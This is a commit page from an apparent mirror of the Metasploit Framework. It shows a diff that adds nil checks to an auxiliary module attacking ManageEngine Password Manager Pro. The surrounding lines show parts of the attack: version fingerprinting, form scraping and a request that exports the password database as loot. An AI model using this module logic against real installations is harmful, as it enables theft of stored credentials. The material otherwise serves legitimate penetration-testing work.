infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Check res.body before accessing #to_s

bug/bundler_fix
jvazquez-r7 2014-11-10 09:47:05 -06:00
parent 8b8ab61e3d
commit 2236518694
1 changed files with 5 additions and 5 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

10
modules/auxiliary/admin/http/manageengine_pmp_privesc.rb
View File

@ -59,13 +59,13 @@ class Metasploit3 < Msf::Auxiliary
if res && res.code == 200 if res && res.code == 200
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions) # 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
if res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/ if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
orgn_name = $1 orgn_name = $1
else else
orgn_name = nil orgn_name = nil
end end
if res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/ if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
authrule_name = $1 authrule_name = $1
else else
authrule_name = nil authrule_name = nil
@ -83,7 +83,7 @@ class Metasploit3 < Msf::Auxiliary
'userName' => username 'userName' => username
} }
}) })
if res && res.code == 200 if res && res.code == 200 && res.body
domain_name = res.body.to_s.strip domain_name = res.body.to_s.strip
else else
domain_name = nil domain_name = nil
@ -192,7 +192,7 @@ class Metasploit3 < Msf::Auxiliary
'uri' => normalize_uri("PassTrixMain.cc"), 'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET' 'method' => 'GET'
}) })
if res && res.code == 200 && if res && res.code == 200 && res.body &&
res.body.to_s =~ /ManageEngine Password Manager Pro/ && res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
( (
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
@ -259,7 +259,7 @@ class Metasploit3 < Msf::Auxiliary
'RequestType' => 'ExportResources' 'RequestType' => 'ExportResources'
} }
}) })
if res && res.code == 200 && res.body.to_s.length > 0 if res && res.code == 200 && res.body && res.body.to_s.length > 0
vprint_line(res.body.to_s) vprint_line(res.body.to_s)
print_good("#{peer} - Successfully exported password database from Password Manager Pro.") print_good("#{peer} - Successfully exported password database from Password Manager Pro.")
loot_name = 'manageengine.passwordmanagerpro.password.db' loot_name = 'manageengine.passwordmanagerpro.password.db'